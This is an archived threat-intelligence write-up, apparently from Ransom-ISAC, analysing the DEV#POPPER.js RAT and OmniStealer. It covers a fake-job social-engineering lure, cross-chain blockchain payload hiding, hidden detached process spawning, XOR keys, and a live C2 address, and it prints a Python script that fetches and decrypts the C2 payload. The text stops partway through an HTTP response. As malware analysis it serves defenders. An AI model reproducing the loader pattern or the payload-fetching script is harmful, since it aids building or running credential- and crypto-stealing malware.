{
	"id": "fe565264-e7e1-43c6-acbe-e121b684e9c0",
	"created_at": "2026-04-06T00:14:39.578949Z",
	"updated_at": "2026-04-10T03:37:08.560801Z",
	"deleted_at": null,
	"sha1_hash": "f8b2cd213515c458e98a9d390603442b1f3ba200",
	"title": "Cross-Chain TxDataHiding Crypto Heist: A Very Chainful Process (Part 2)",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2966266,
	"plain_text": "Cross-Chain TxDataHiding Crypto Heist: A Very Chainful Process\r\n(Part 2)\r\nBy Ransom-ISAC\r\nPublished: 2025-10-27 · Archived: 2026-04-05 14:51:03 UTC\r\nFollowing our initial discovery of the Cross-Chain TxDataHiding technique in Part 1, our investigation into the\r\nweaponised repository revealed a sophisticated multi-stage attack chain.\r\nIn September 2025, Ransom-ISAC was brought in by Crystal Intelligence's François-Julien Alcaraz and Nick Smart\r\nto investigate a cryptocurrency and data theft attempt via a private weaponised GitHub repository. What initially\r\nappeared to be a standard phishing campaign quickly evolved into something far more sophisticated—a multi-layered attack leveraging novel blockchain-based command-and-control infrastructure and cross-platform malware\r\ndesigned to compromise development environments at scale.\r\nAt the heart of this operation lies a JavaScript-based Remote Access Trojan that we've identified as a variant of the\r\nDEV#POPPER malware family, which we're calling DEV#POPPER.js.\r\nWhat makes this campaign particularly concerning is its cross-platform reach and dual-payload architecture.\r\nDEV#POPPER.js operates on any device capable of running JavaScript—whether Unix, macOS, or Windows—\r\nmaking it a universal threat to development environments regardless of operating system. The RAT provides full\r\nRemote Code Execution (RCE) capabilities, allowing attackers to establish persistent access, execute arbitrary\r\ncommands, and deploy additional malicious components.\r\nThe second stage of the attack introduces a Python-based stealer we've designated OmniStealer, which lives up to\r\nits name by exfiltrating virtually everything of value. This includes cryptocurrency wallets, private keys, browser\r\ncredentials, development environment secrets, and sensitive source code. The targeting patterns and operational\r\npriorities strongly suggest attribution to DPRK-affiliated threat actors, consistent with their documented focus on\r\ncryptocurrency theft for sanctions evasion and technology transfer operations.\r\nIn this part of our series, we'll dissect the complete kill chain from initial compromise through data exfiltration,\r\nexamine the technical mechamnisms enabling cross-platform execution, and explore how DEV#POPPER.js and\r\nOmniStealer work in tandem to achieve comprehensive system compromise. Understanding this attack flow is\r\ncritical for organisations to implement effective detection and prevention strategies against this emerging threat.\r\nHow it Works\r\nHiding malicious payloads within blockchain data is now a sophisticated obfuscation method used by modern threat\r\nactors. The landscape of these techniques can be divided into two primary categories based on where the malicious\r\ndata resides within the blockchain infrastructure.\r\nThe first category involves Smart Contract Storage-based Hiding, exemplified by Etherhiding. This technique\r\nstores malicious payloads directly within Ethereum smart contract storage slots, which are retrieved through\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 1 of 66\n\ncontract read operations such as eth_call or eth_getStorageAt . The payload becomes part of the contract's\r\npersistent state, making it immutable and decentralised once deployed on the blockchain.\r\nThe second and more versatile category is Transaction Data Hiding, or TxDataHiding for short. Unlike smart\r\ncontract storage methods, TxDataHiding embeds malicious payloads within the input data (calldata) of blockchain\r\ntransactions themselves. These payloads are retrieved by querying historical transaction data using methods like\r\neth_getTransactionByHash . This approach is more flexible because it doesn't require deploying a smart contract—\r\nthe malicious data simply lives within the immutable transaction history recorded on the blockchain. TxDataHiding\r\nincludes several chain-specific variants, including TronHiding (TRON transaction data), AptosHiding (Aptos\r\ntransaction arguments), and BinHiding (Binance Smart Chain transaction input data).\r\nThe most advanced evolution of this technique is Cross-Chain TxDataHiding, which leverages multiple\r\nblockchain networks in a coordinated attack chain. In this sophisticated variant, one blockchain acts as an index or\r\npointer system (typically TRON or Aptos), storing a reference to a transaction hash on a second blockchain\r\n(typically BSC). The malware first queries the index chain to retrieve this pointer, then uses it to fetch the actual\r\nencrypted payload from the payload chain's transaction data. Finally, the retrieved data is decrypted using XOR or\r\nsimilar algorithms to reveal the executable malicious code. This multi-chain approach significantly increases\r\nresilience against takedown efforts, as the attack infrastructure spans multiple decentralised networks with different\r\ngovernance structures and geographic distributions. The cross-chain methodology also provides built-in redundancy\r\nthrough multiple fallback nodes and alternative blockchain paths, making detection and mitigation substantially\r\nmore challenging for security teams.\r\nCross-Chain Transaction Data Hiding (XCTDH): Recap\r\nHiding malicious payloads within blockchain data has become an emerging obfuscation technique. The landscape\r\nincludes several distinct approaches:\r\nXCTDH uses multiple blockchains in sequence: TRON or Aptos transactions store a BSC transaction hash within\r\ntheir transaction data fields ( raw_data.data for TRON, payload.arguments[0] for Aptos). Malware first queries\r\nTRON/Aptos to retrieve this hash, then uses eth_getTransactionByHash on BSC to extract the encrypted payload.\r\nThis two-stage, cross-blockchain retrieval system provides resilience through distributed infrastructure.\r\nExample: In one of the payloads, we see a query to get the transactions of a TRON wallet address, from which we\r\ncan extract the latest transaction data from Trongrid.io:\r\nhttps://api.trongrid.io/v1/accounts/TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP/transactions?only_confirmed=true\u0026only_from\r\nWhich returns this:\r\n{\"data\":[{\"ret\":[{\"contractRet\":\"SUCCESS\",\"fee\":1333000}],\"signature\":[\"28dfdd895872826639d5419a4b84a678d1e2494f\r\nWhat we are interested in here is the response.data[0].raw_data.data value:\r\n6366393164343963666630643333326438396339366162343565633365663931356338336237326338613134383466353139396662623638\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 2 of 66\n\nNow in our case, this needs to be decoded from Hex to UTF-8 then reversed to extract the BSC transaction hash.\r\nYou can script this or use this CyberChef recipe:\r\n0xf46c86c886bbf9915f4841a8c27b38c519fe3ce54ba69c98d233d0ffc94d19fc\r\nNow that the code has retrieved the BSC Transaction hash, it can initiate eth_getTransactionByHash to get the\r\nTxData.\r\n// Query BSC with the extracted hash\r\nPOST https://bsc-dataseed.binance.org\r\nBody:\r\n{\r\n \"jsonrpc\": \"2.0\",\r\n \"method\": \"eth_getTransactionByHash\",\r\n \"params\": [\"0xf46c86c886bbf9915f4841a8c27b38c519fe3ce54ba69c98d233d0ffc94d19fc\"],\r\n \"id\": 1\r\n}\r\nFetched it looks like this:\r\nIn our case, this is heavily character swapped and XOR-encoded, which leads to other heavily obfuscated JS-based\r\npayloads which we will discuss later in this report.\r\nIt performs this call because BSC copied Ethereum's API for compatibility. Even though the method name includes\r\n\"eth_\", it queries BSC, not Ethereum. This is not extracting data from Ethereum-based Smart Contracts, therefore\r\nthis is not Etherhiding.\r\nKey Distinction:\r\nEtherhiding = Smart contract storage-based\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 3 of 66\n\nTxDataHiding = Transaction data-based\r\nCross-Chain TxDataHiding = Multi-blockchain indexing system\r\nRecap: The Cross-Chain Attack Flow\r\nAs detailed in Part 1, the attack operates through a sophisticated 10-stage process that exploits blockchain\r\ninfrastructure for command-and-control (C2). The malicious JavaScript executes an obfuscated Immediately\r\nInvoked Function Expression (IIFE), which employs custom character-shuffling algorithms to deobfuscate strings\r\ncontaining blockchain addresses and XOR keys. The malware then queries the TRON blockchain (in our example\r\nabove \"0xf46c86c886bbf9915f4841a8c27b38c519fe3ce54ba69c98d233d0ffc94d19fc\"), with Aptos as fallback, to\r\nretrieve an index pointing to a BSC transaction hash contained in the TRON transaction hash raw_data.data field,\r\nwhich is then used to call eth_getTransactionByHash on BSC RPC nodes (primary node first, backup node on\r\nfailure), extracting the transaction input field containing the encrypted payload. After XOR decryption, the first\r\npayload executes immediately via eval() , whilst a second payload is retrieved through the same blockchain query\r\ncycle and spawns as a detached background process for persistence. This multi-chain architecture—leveraging\r\nTRON/Aptos for indexing and BSC for payload storage—combined with multiple node fallbacks and immutable\r\nblockchain storage, creates a remarkably resilient C2 infrastructure that's exceptionally difficult to disrupt or\r\nattribute.\r\nFull Attack Chain\r\nHere is a high-level overview of this attack end-to-end:\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 4 of 66\n\n1. In our case, this was an attempt via Telegram of a Social Engineering attack. However there are other reports\r\nof the same vector using a GitHub Dependency Attack.\r\n2. GitHub Repository is cloned/installed after collaboration and runs locally on the user's device to execute.\r\n3. Obfuscated malware contains two payloads via Cross-Chain TxDataHiding.\r\n4. One contains obfuscated malware for another JS stager acting as a loader via Cross-Chain TxDataHiding.\r\n1. This then downloads a ~2,500-line obfuscated code which is near impossible to deobfuscate\r\nmanually.\r\n2. Using an online JS deobfuscator allows us to get the code clearer to show an omni-OS NodeJS-based\r\nRemote Access Trojan capable of Remote Code Execution (RCE), appearing to be a variant of the\r\nDEV#POPPER campaign.\r\n5. One obfuscated payload fetches data via hxxp://23[.]27[.]20[.]143:27017/$/boot using custom headers to\r\ndownload telemetry capture and malware stager code—another ~2,500-line obfuscated script.\r\n1. This is a downloader of Python, 7Zip and a payload named z1.\r\n2. In order to get the Z1 payload, the device must be registered by sending telemetry data back to both\r\nC2 channels via the DEV#POPPER RAT first, then the downloader. After which we can fetch Z1.\r\n6. Z1 Deobfuscated, is python-based smash-and-grab code used to exfiltrate virtually everything on the device\r\n—hard-coded C2 endpoints, wallet addresses/passwords, browser credentials/cookies, and local password\r\nvaults. It is for this reason we call OmniStealer.\r\nPayload Download\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 5 of 66\n\nThe DPRK are now targeting developers with fake job postings on LinkedIn, similar reports of this include\r\nDeceptiveDevelopment, reported in September 2025, utilising the ClickFix campaign, as well as the notorious\r\nLazarus' Operation DreamJob in 2023 which trojanised codebases during staged job interviews.\r\nThe threat actor reached out to the target requesting they support them on a Blockchain-based project hiring for a\r\nrole with their relevant expertise at a very generous daily rate of remuneration. Soon after, there was a request by\r\nthe Threat Actor to switch over to Telegram to discuss the role and arrangements in more detail. This led to an initial\r\ninterview and a review of the code that was sent over, in which there were observations of having unnecessary\r\nlibraries and work related to secret or proprietary work that likely should not have been provided to the potential\r\nemployer at that point in time. There were some other observations which aroused suspicion.\r\nThis of course led to the invitation to collaborate with the GitHub user on their project and run the malicious code:\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 6 of 66\n\nAt this stage, we knew this was not a legitimate job posting and set-up a honeypot to investigate.\r\nThe URL from which the payload is downloaded from via Telegram is the following:\r\nhttps[:]//github[.]com/isasmallbit/store-v\r\nSecond Attack Vector\r\nOur specific payload is logged to the threat actor via HTTP header values as Sec-V: 0 . We have assessed that\r\n'Sec-V' likely represents the 'Store-V' repository above and value '0' is marked for Telegram seeing as this was our\r\nattack vector via Invitation to collaborate on a Private repository.\r\nHowever, there was also Sec-V: A as an option from the script which we assess is likely a Dependency-based\r\nattack, which makes sense as there have been multiple reports of similar cases of dependency-based attacks.\r\nWhen searching for the initial payload (see below), some of the key parameters to search for across your local\r\ndevice in strings are: \"global['_V']\" AND \"global['r']\"\r\nLooking at GitHub for repositories of this (during the time of writing), we observe that there are 62 matches, all\r\ncontaining filenames that were previously reported by external sources, such as tailwind.config.js and\r\nnext.config.mjs.\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 7 of 66\n\nAs these are all public, it is very likely that these are dependency-based attacks or low-hanging fruit for\r\nunsuspecting developers to utilise to improve their day-to-day work. Most of these are associated with NodeJS or\r\nWeb3 and BlockChain-related code.This selection of modules makes sense for the motivation of the campaign\r\nappears to be ifinancial theft using cryptocurrency. Case inpoint would include:\r\nPayload 1 (Initial Multi-Payload Stager)\r\nSHA256 Hash: 16df15306f966ae5c5184901747a32087483c03eebd7bf19dbfc38e2c4d23ff8\r\nWhilst the hunting was not an easy feat given there were tens of thousands of files within this repository, the typical\r\nsanity checks such as YARA scanning and IOC hunting helped us narrow down the list. Interestingly the file was\r\nactually tucked away similar to the DevPopper Technique reported by Securonix:\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 8 of 66\n\nOur file was found under Store-V/Front-End/Tailwind.config.js in comparison to our target, which is also\r\ntucked out of the way:\r\nObfuscation\r\nThe code itself is so well obfuscated that whilst investigating (at the time of writing this), most of the payloads\r\ngathered were not flagged as malware on VirusTotal or other Antivirus engines. In our case this first one was\r\nluckily:\r\nThe key to deobfuscation is to replace any eval() values which are used to execute with console.log(). As there is a\r\nfunction that anonymises the final output, the real code we are interested in is one of the var values which we must\r\nconsole.log to find our final value, and we find this through the value of Xkl, truncated for writeup purposes:\r\n[SCRIPT LOG] Xkl is\r\nvar _$_2d00 = (_$af402041)(\"e%hSd%tds...[obfuscated]\", 3412038);\r\nfunction _$af402041(a, k) {\r\n // Deobfuscation: character shuffling algorithm\r\n var n = [];\r\n for (var u = 0; u \u003c a.length; u++) {\r\n // Swap characters based on key\r\n var f = k * (u + 452) + (k % 12788);\r\n var m = k * (u + 404) + (k % 13497);\r\n // ... swapping logic\r\n };\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 9 of 66\n\nreturn n.join('').split('%')... // Reconstruct string\r\n}\r\n(async () =\u003e {\r\n // Fetch decryption key from blockchain (Tron/Aptos)\r\n async function t(key, tronAddr, aptosAddr) {\r\n let r = /* fetch from blockchain API */;\r\n let n = /* JSON-RPC call */;\r\n // XOR decrypt payload\r\n return xorDecrypt(n, key);\r\n }\r\n // Fetch and execute malicious payload\r\n const payload = await t(key, addr1, addr2);\r\n eval(payload);\r\n // Spawn persistent process\r\n child_process.spawn('node', ['-e', code + payload], {detached: true});\r\n})()\r\nWhat does the value of _$_2d00 equate to? Well we can simply run console.log(_$_2d00); to find out:\r\n[\r\n 'r',\r\n 'end',\r\n 'error',\r\n 'on',\r\n '',\r\n 'data',\r\n 'parse',\r\n 'JSON',\r\n 'get',\r\n 'https',\r\n 'Promise',\r\n '2.0',\r\n 'stringify',\r\n 'POST',\r\n 'request',\r\n 'write',\r\n 'join',\r\n 'reverse',\r\n 'split',\r\n 'utf8',\r\n 'toString',\r\n 'raw_data',\r\n '/transactions?only_confirmed=true\u0026only_from=true\u0026limit=1',\r\n 'hex',\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 10 of 66\n\n'from',\r\n 'Buffer',\r\n 'arguments',\r\n 'payload',\r\n '/transactions?limit=1',\r\n '?.?',\r\n 'substring',\r\n 'input',\r\n 'result',\r\n 'eth_getTransactionByHash',\r\n 'bsc-dataseed.binance.org',\r\n 'bsc-rpc.publicnode.com',\r\n 'length',\r\n 'charCodeAt',\r\n 'fromCharCode',\r\n 'String',\r\n '2[gWfGj;\u003c:-93Z^C',\r\n 'TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP',\r\n '0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e',\r\n 'm6:tTh^D)cBz?NM]',\r\n 'TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG',\r\n '0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3',\r\n 'node',\r\n '-e',\r\n '_V',\r\n \"';\",\r\n 'ignore',\r\n 'spawn',\r\n 'child_process'\r\n]\r\nAs you can see here it is an array. Now the array is referenced all throughout the code, so all that's needed is to\r\nreplace values of _$_2d00[n] with the appropriate value above which is very straightforward to script. This is all\r\ndocumented in dedicated GitHub repository.\r\nPayload Retrieval Summary\r\nUpon deobfuscating, this is what is uncovered:\r\nThis payload uses Cross-Chain TxDataHiding as discussed in the previous section. This actually had two sets of API\r\ncalls to the following feeds, which meant two payloads:\r\nPayload 1:\r\nXOR Key: '2[gWfGj;\u003c:-93Z^C'\r\nFetch Chain:\r\n1. Tron: TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP → extracts transaction data, reverses it\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 11 of 66\n\n2. Fallback - Aptos: 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e →\r\nextracts from arguments[0]\r\n3. Uses retrieved hash to query BSC: bsc-dataseed.binance.org → eth_getTransactionByHash\r\n4. Fallback BSC: bsc-rpc.publicnode.com\r\n5. Extracts from transaction input, splits on '?.?' , then takes the second part [1]\r\n6. XOR decrypts and immediately executes via eval()\r\nPayload 2:\r\nXOR Key: 'm6:tTh^D)cBz?NM]'\r\nFetch Chain:\r\n1. Tron: TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG → extracts transaction data, reverses it\r\n2. Fallback - Aptos: 0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3 →\r\nextracts from arguments[0]\r\n3. Uses retrieved hash to query BSC: bsc-dataseed.binance.org → eth_getTransactionByHash\r\n4. Fallback BSC: bsc-rpc.publicnode.com\r\n5. Extracts from transaction input, splits on '?.?' , then takes the second part [1]\r\n6. XOR decrypts and spawns as detached child process with eval() fallback\r\nHidden Processes \u0026 Stealth Techniques\r\nProcess Hiding:\r\nd('child_process')['spawn']('node', ['-e', ...], {\r\n detached: true, // Runs independently, survives parent death\r\n stdio: 'ignore', // No stdin/stdout/stderr - invisible\r\n windowsHide: true // Hidden window on Windows\r\n})\r\nObfuscation Methods:\r\n1. String shuffling function ( _$af402041 ) - complex character permutation algorithm\r\n2. Array-based string obfuscation - all strings stored in _$_2d00[] array\r\n3. Blockchain as data storage - payloads hidden in transaction data (legitimate-looking traffic)\r\n4. Multi-layer encoding: Hex → Buffer → UTF8 → Reversed → XOR decryption\r\nAnti-Debugging Techniques:\r\n1. Dead code checks:\r\nif (!_$af402041) { return } // Function existence checks\r\nif (!_$_2d00) { _$af402041 = 0; return } // Variable checks\r\nThese look like anti-tampering checks that bail out if the code is modified\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 12 of 66\n\n2. Try-catch suppression: All operations wrapped in try-catch blocks that silently fail - makes debugging\r\nharder\r\n3. Async operations: Everything is async, making step-through debugging more difficult\r\n4. Multiple fallbacks: If one method fails, it tries alternatives - analysts must trace all paths\r\n5. Dynamic evaluation: eval() makes static analysis impossible - code only reveals itself at runtime\r\n6. No error messages: All errors are caught and suppressed - no forensic information leaked\r\nThe example gives the BSC contract of:\r\n0xf46c86c886bbf9915f4841a8c27b38c519fe3ce54ba69c98d233d0ffc94d19fc\r\nThis then gives us the following:\r\nhttps://bscscan.com/tx/0xf46c86c886bbf9915f4841a8c27b38c519fe3ce54ba69c98d233d0ffc94d19fc\r\nWhich then brings us to the malicious code which is both character-swapped and XOR encoded by a 15-character\r\npassword:\r\nTo simulate the fetching of these next payloads, we ran a script PayloadFetcher.js which is in the GitHub repository,\r\nto effectively request Get requests, as well as simulate the XOR and character-shuffling capabilities, the logs were\r\nhere:\r\nStage 1: Initial Blockchain Query\r\nPayload 1 Fetch:\r\nTRON Address: TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP\r\nTRON API: https://api.trongrid.io/v1/accounts/{address}/transactions?only_confirmed=true\u0026only_from=true\u0026limit=1\r\nAptos Fallback: 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e\r\nAptos API: https://fullnode.mainnet.aptoslabs.com/v1/accounts/{address}/transactions?limit=1\r\nXOR Key: 2[gWfGj;\u003c:-93Z^C\r\nRPC call to host: bsc-dataseed.binance.org method: eth_getTransactionByHash params: [\r\n'0xf46c86c886bbf9915f4841a8c27b38c519fe3ce54ba69c98d233d0ffc94d19fc'\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 13 of 66\n\nPayload 2 Fetch:\r\nTRON Address: TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG\r\nTRON API: Same as above\r\nAptos Fallback: 0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3\r\nAptos API: Same as above\r\nXOR Key: m6:tTh^D)cBz?NM]\r\nStage 2: BSC Payload Retrieval\r\nPrimary BSC Node: bsc-dataseed.binance.org\r\nFallback BSC Node: bsc-rpc.publicnode.com\r\nMethod: eth_getTransactionByHash using the hash retrieved from Stage 1\r\nExtracts encrypted payload from transaction input data (after ?.? delimiter)\r\nRPC call to host: bsc-dataseed.binance.org method: eth_getTransactionByHash params: [\r\n'0xd33f78662df123adf2a178628980b605a0026c0d8c4f4e87e43e724cda258fef'\r\nThese were obfuscated with character rotation and XOR keys with 15 characters each; this led to two more\r\nobfuscated JS codes.\r\nPayload1_1 (Payload Stager)\r\nSHA256: ee3cc7c6bd58113f4a654c74052d252bfd0b0a942db7f71975ce698101aec305\r\nObfuscation\r\nThe obfuscation was identical to Payload1, so we will skip over the steps for this. The deobfuscation scripts and\r\nsteps are in the GitHub Repository.\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 14 of 66\n\nPayload Retrieval:\r\nSingle Payload (not two like previous sample):\r\nXOR Key: 'cA]2!+37v,-szeU}'\r\nDeobfuscation Key: 438651\r\nFetch Chain:\r\n1. TRON: TLmj13VL4p6NQ7jpxz8d9uYY6FUKCYatSe → extracts transaction data, reverses it\r\n2. Fallback - Aptos: 0x3414a658f13b652f24301e986f9e0079ef506992472c1d5224180340d8105837 → extracts\r\nfrom arguments[0]\r\n3. BSC Primary: bsc-dataseed.binance.org → eth_getTransactionByHash\r\n4. Fallback BSC: bsc-rpc.publicnode.com\r\n5. Extracts from transaction input, splits on '?.?' , then takes the second part [1]\r\n6. XOR decrypts and executes via eval() (no spawn, single payload only)\r\nAnti-Reversing Techniques:\r\nObfuscation Methods:\r\n1. String shuffling function ( _$af813180 ) - mathematical character permutation\r\n2. Dynamic property access - i['Promise'] , u('https')['get']\r\n3. Blockchain as data storage - payload(s) hidden in immutable transactions\r\n4. Multi-layer encoding: Hex → Buffer → UTF8 → Reversed → XOR\r\nAnti-Debugging:\r\n1. State checks: if(_$af813180== 1){return} , if(_$af813180=== 0){return}\r\n2. Error suppression: All operations in try-catch blocks that silently fail\r\n3. Async operations: Makes step-through debugging difficult\r\n4. Multiple fallbacks: Must trace all execution paths\r\n5. Dynamic eval(): Code only reveals at runtime\r\n6. No error messages: Errors caught and suppressed\r\nStealth:\r\nOnly uses Node.js built-ins (no dependencies)\r\nLegitimate-looking blockchain API traffic\r\nNo spawn/detached process (simpler than first sample)\r\nMinimal footprint\r\nKey Difference:\r\nThis variant has 1 payload (eval only), previous had 2 payloads (eval + spawn detached).\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 15 of 66\n\nRetrieval\r\nWe have a script in the GitHub repository to fetch this, from our logs this is what is shown:\r\nTRON address: TLmj13VL4p6NQ7jpxz8d9uYY6FUKCYatSe\r\nAptos address: 0x3414a658f13b652f24301e986f9e0079ef506992472c1d5224180340d8105837\r\nXOR key: cA]2!+37v,-szeU}\r\n[PRIMARY] Attempting BSC primary node...\r\nRPC call to host: bsc-dataseed.binance.org method: eth_getTransactionByHash params: [\r\n '0xa8cdabea3616a6d43e0893322112f9dca05b7d2f88fd1b7370c33c79076216ff'\r\n]\r\n✓ BSC primary succeeded\r\nPayload1_2 (HTTP Payload Stager)\r\nSHA256: ce47fef68059f569d00dd6a56a61aa9b2986bee1899d3f4d6cc7877b66afc2a6\r\nObfuscation\r\nThe obfuscation was identical to Payload1 and Payload1_1 so we will skip over the steps for this. The\r\ndeobfuscation scripts are in the GitHub Repository.\r\nPayload Analysis - Stage 2 Malware\r\nThis is one of the decrypted payloads from the previous stage. It performs C2 communication and additional\r\npayload retrieval.\r\nKey Components\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 16 of 66\n\nDecoded String (_$_145a):\r\nThe shuffled string decodes to a hardcoded C2 server location:\r\nhttp://23.27.20.143:27017/$/boot\r\nXOR decryption key: ThZG+0jfXE6VAGOJ (16 characters)\r\nC2 Communication Flow:\r\n1. Sets Global Variable:\r\n_global['_H'] = \"http://23.27.20.143:27017\"\r\nStores the C2 server address globally\r\n2. HTTP Request to C2:\r\nURL: http://23.27.20.143:27017/$/boot\r\nMethod: GET\r\nUser-Agent Spoofing:\r\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML; like Gecko) Chrome/131.0.0.0 Safari/537.36\r\nDisguises as legitimate Chrome browser on Windows 10\r\nCustom Header: Sec-V: [value] - sends the _V global variable (likely infection counter or version\r\ntracking)\r\n3. Payload Processing:\r\nReceives response from C2 server\r\nXOR decrypts response using key ThZG+0jfXE6VAGOJ\r\nImmediately executes decrypted payload via eval()\r\nObfuscation Techniques\r\n1. String Shuffling (_$af1013):\r\nComplex permutation algorithm that scrambles strings\r\nUses mathematical operations: f * (a + 515) + (f % 46709) with modulo operations\r\nMultiple character replacements with delimiter swapping\r\n2. Variable Name Obfuscation:\r\nFunctions: a0a() , a0b() , a0n()\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 17 of 66\n\nIntentionally confusing naming to hinder analysis\r\n3. Offset-based String Access:\r\na0n(0x10b) + a0n(0xef) + '43' + ':' + 0x6989 // Builds \"http://23.27.20.143:27017\"\r\nString fragments stored in array, accessed by hex offsets (0x6989 = 27017 in decimal)\r\n4. Dead Code Pattern:\r\nif (_$af1004 == true) { return } // Never executes\r\nif (_$af1004 == 1) { _$af1004(0) } // Confusing logic\r\nAnti-Debugging Methods\r\n1. Control Flow Obfuscation (_$af1003):\r\nconst d = parseInt(m(0x103)) / 0x1 * (-parseInt(m(0xff)) / 0x2) +\r\n -parseInt(m(0x109)) / 0x3 * (-parseInt(m(0xf0)) / 0x4) + ...\r\nif (d === b) { break } else { c['push'](c['shift']()) }\r\nPerforms complex calculations to validate execution\r\nArray rotation based on calculation results\r\nIf debugger modifies values, execution path changes\r\n2. State Checks:\r\nif (!_$_145a) { _$af1013 = false }\r\nif (!_$af1013) { _$af1004 = 1 }\r\nif (!_$_145a) { _$af1003 = null; return }\r\nMultiple interdependent variable checks\r\nTampering with one variable breaks execution chain\r\n3. Try-Catch Loops:\r\nwhile (!![]) {\r\n try { /* complex logic */ }\r\n catch (e) { c['push'](c['shift']()) }\r\n}\r\nInfinite loop with exception handling\r\nMakes breakpoint debugging difficult\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 18 of 66\n\n4. Silent Failure:\r\nThroughout the code, errors are caught and suppressed - stack traces or error messages are unavailable for analysis.\r\nFor example, Decryption Failures - Returns empty on error:\r\ndef _decrypt(B,value,encrypted_value):\r\n # ... decryption logic ...\r\n try:\r\n H=G.decrypt_and_verify(A[12:-16],E)\r\n except Ak:raise V(A7) # Ak is ValueError\r\n return H.decode(encoding=f,errors=m)\r\nThe errors=m (where m='ignore' ) silently drops characters that can't be decoded.\r\nStealth \u0026 Evasion\r\n1. User-Agent Spoofing: Mimics legitimate Chrome browser in Windows 10\r\n2. HTTP (not HTTPS): Avoids certificate inspection/pinning\r\n3. Generic endpoint: /$/boot - appears as legitimate web traffic\r\n4. Custom tracking header: Sec-V - likely tracks infection state across requests\r\n5. Async execution: Harder to trace in real-time\r\n6. Port 27017: Default MongoDB port - may blend in with regular database traffic\r\nFetching the Next Stage\r\nThis would be straight forward as we would just replicate the code without exec actually running the next\r\npayload, we do this via the following Python script.\r\nNote: Do not run this!!!!!\r\nimport requests\r\n# Fetch the payload\r\nurl = \"http://23.27.20.143:27017/$/boot\"\r\nheaders = {\r\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML; like Gecko) Chrome/131.0.0\r\n \"Sec-V\": \"0\"\r\n}\r\ntry:\r\n response = requests.get(url, headers=headers, timeout=10)\r\n print(f\"Status: {response.status_code}\")\r\n print(f\"Content-Length: {len(response.content)}\")\r\n # Save obfuscated payload\r\n with open(\"obfuscated_payload.bin\", \"wb\") as f:\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 19 of 66\n\nf.write(response.content)\r\n # XOR decrypt with the key\r\n key = \"ThZG+0jfXE6VAGOJ\"\r\n decrypted = \"\"\r\n for i, byte in enumerate(response.content):\r\n key_char = ord(key[i % len(key)])\r\n decrypted += chr(byte ^ key_char)\r\n with open(\"decrypted_payload.js\", \"w\") as f:\r\n f.write(decrypted)\r\n print(\"First 200 chars of decrypted:\")\r\n print(repr(decrypted[:200]))\r\nexcept Exception as e:\r\n print(f\"Error: {e}\")\r\nNote that Sec-V is likely the flag for the repository (Store-V), and the value 0 is the attack vector, which in our case\r\nis IT Worker Social Engineering to Private Repository. This then fetches the next stage of the Payload1_2_1.\r\n302 Response (Easter Egg)\r\nIf unsuccessful with your fetch for not putting in the right parameters, your HTTP response will be 'completely sent\r\noff' and you will be HTTP 302 redirected to a page downloading some kind of file gist_crtp_constructors .\r\n* Request completely sent off\r\n\u003c HTTP/1.1 302 Found\r\n\u003c Access-Control-Allow-Origin: *\r\n\u003c Expires: Sat, 26 Jul 1997 05:00:00 GMT\r\n\u003c Last-Modified: Fri, 26 Sep 2025 17:03:36 GMT\r\n\u003c Cache-Control: no-store, no-cache, must-revalidate\r\n\u003c Pragma: no-cache\r\n\u003c Location: https://github.com/duanegoodner/xiangqigame/raw/refs/heads/main/prototypes/crtp_constructors/gist_crtp\r\n\u003c Content-Type: application/octet-stream\r\n\u003c Server: EmbedIO/3.5.2\r\n\u003c Date: Fri, 26 Sep 2025 17:03:36 GMT\r\n\u003c Content-Length: 0\r\n\u003c Connection: keep-alive\r\n\u003c Keep-Alive: 